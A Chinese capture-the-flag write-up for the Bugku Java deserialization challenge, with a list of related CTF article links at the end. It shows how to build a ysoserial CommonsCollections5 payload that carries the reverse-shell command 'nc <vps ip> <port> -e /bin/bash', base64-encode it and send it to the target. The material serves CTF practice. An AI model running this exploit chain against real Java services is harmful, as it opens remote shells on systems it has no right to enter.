【BUGKU之ez_java_serialize】
cat flag
- 题目
- 打开题目网站
- 附件
- 继续搜集信息
- 构造Payload
- base64Payload
- nc监听
- 发送构造好的payload
- 获取flag
- 结束
bugku平台上的java反序列化漏洞练习题
打开题目网站
网站如图所示,啥也没有,先去看下附件有什么。
附件
下载附件后看下有什么信息提示
附件压缩包下载后解压发现有java文件以及网站的配置环境信息,先打开pom.xml。
看下。
发现网站是Spring环境搭建的,先将这下面的提到的插件百度了下,发现commons-collections3.1有反序列化漏洞。
继续搜集信息
还有java代码文件没看,接下来打开java文件。
打开helloController.java文件发现网站路由信息以及所传递的参数。并且可以看到name参数值接收后经过base64解码。
构造Payload
推荐使用ysoserial-0.0.6-SNAPSHOT-all.jar工具包,生成payload
先运行jar包查看下使用方式。使用nc vps的ip地址 port -e /bin/bash 指令构造payload(也可以尝试下其它shell反弹方式,我是看了下题目下面的评论,发现nc -e /bin/bash反弹会成功,其它反弹方式有问题)。并且经过尝试几个payload后发现CommonsCollections5可以使用。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 “nc vps的Ip地址 监听端口 -e /bin/bash” > payload.bin
原始payload生成完成,不要忘记helloController.java文件上提到的name参数接收后,会经过base64编码解码。因此,原始payload需要经过base64编码。
base64Payload
import base64
file = open("payload.bin","rb")now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
此处我将生成的原始payload文件加载到py文件所在目录中,运行base64编码代码,直接将编码后生成的payload打印到了控制台。
整理后的payload如上图所示。
nc监听
配置下监听端口,vps监听端口要和上述构造原始payload上的端口一致。
发送构造好的payload
获取flag
结束
ysoserial-0.0.6-SNAPSHOT-all.jar工具各位自行百度下就可以了。大佬们,不喜勿喷,本人菜鸡。
【BUGKU之ez_java_serialize】相关推荐
- php 伪协议 lfi,php://伪协议(I/O)总能给你惊喜——Bugku CTF-welcome to bugkuctf
今天一大早BugkuCTF 的welcome to bugkuctf 就给了我一发暴击:完全不会啊...光看源码就发现不知道怎么处理了,于是转向writeup求助.结果发现这是一道非常有营养的题目,赶 ...
- BUGKU 密码题:这不是摩斯密码
BUGKU 密码题:这不是摩斯密码 这不是摩斯密码 打开文件,发现如下符号: 可以发现,符号都是由> < + - . , [ ]来组成.那么显然,这个是Brainfuck加密.这里推荐一个 ...
- Bugku——Web——矛盾
题目链接:http://ctf.bugku.com/challenges#矛盾:http://123.206.87.240:8002/get/index1.php 解题步骤: 1.is_numeric ...
- 输入密码查看flag(详解)——Bugku
刚刚做了bugku的题目,现在整理一下 写出解题思路,希望能够帮助到那些需要帮助的人 所有的wp都是以一题一篇的形式写出 主要是为了能够让读者更好的阅读以及查找, 希望你们不要责怪!!共勉!!! Ch ...
- 点击一百万次(详解)——bugku
刚刚做了bugku的题目,现在整理一下 写出解题思路,希望能够帮助到那些需要帮助的人 所有的wp都是以一题一篇的形式写出 主要是为了能够让读者更好的阅读以及查找, 希望你们不要责怪!!共勉!!! Ch ...
- bugku——web 做题记录
Table of Contents 2,秋名山车神: 3,速度要快 4 welcome to the bugkuctf 1,login1(sql约束攻击) sql约束攻击: 2,过狗一句话 3,细心 ...
- bugku ——加密 做题记录
目录 1,滴答-滴 2,聪明的小羊 3,ok 4这不是摩斯密码 5,easy_crypto 6,简单加密 7,散乱的密文 8 凯撒部长的奖励 9,一段base64 10,.!? 11,+[]-(Bra ...
- Bugku—web题解
前言:最近做了一些Bugku入门的web题目,感觉web题挺有趣的,并非是得出flag,而是可以通过一个题目学习到很多知识. 域名解析 题目说把 flag.baidu.com 解析到123.206.8 ...
- Bugku—web(一)
前言: 最近做了几个bugku的web题,感觉挺有意思的,学到了不少东西:顺便总结下.(= ̄ω ̄=) 1.你必须让他停下: 打开链接,发现有个一直在闪的页面,时不时还会出现张图片:这是用了 js的se ...
最新文章
- html for 循环模板
- 不同视图间的跳转方式
- 没想到 | 万万没想到 Java 中最重要的关键字竟然是这个
- 50-20-200-配置-checkpoint配置
- oracle按数据条件进行更新_SQL 基础教程, 创建表,按条件选取数据,数据更新,删除...
- 具体数学-第10课(素数和阶乘的有趣性质)
- Sqlite使用简单教程
- 拓端tecdat|R语言模拟保险模型中分类器的ROC曲线不良表现
- 如何进入Dos窗口以及了解常用Dos命令
- js回调html的函数,JS回调函数简单用法示例
- excel合并两列内容_办公实用Execl表格中按这个键可以快速合并两列单元格内容...
- 原创轻量VIO算法、简单易上手——XRSLAM帮你快速搭建移动平台AR应用
- 稳压二极管与TVS管
- arm为何断供华为?华为会使用RISC-V取代ARM?
- separator path php,php常量 DIRECTORY_SEPARATOR 和 PATH_SEPARATOR
- 如何免费安装并激活序列号iMazing软件
- pycharm中使用chatgpt
- MCMC实现——Python安装+Anaconda+PYMC3
- isee图片专家批量处理图片大小教程
- 日历查询系统c语言1,C语言 日历查询系统 成品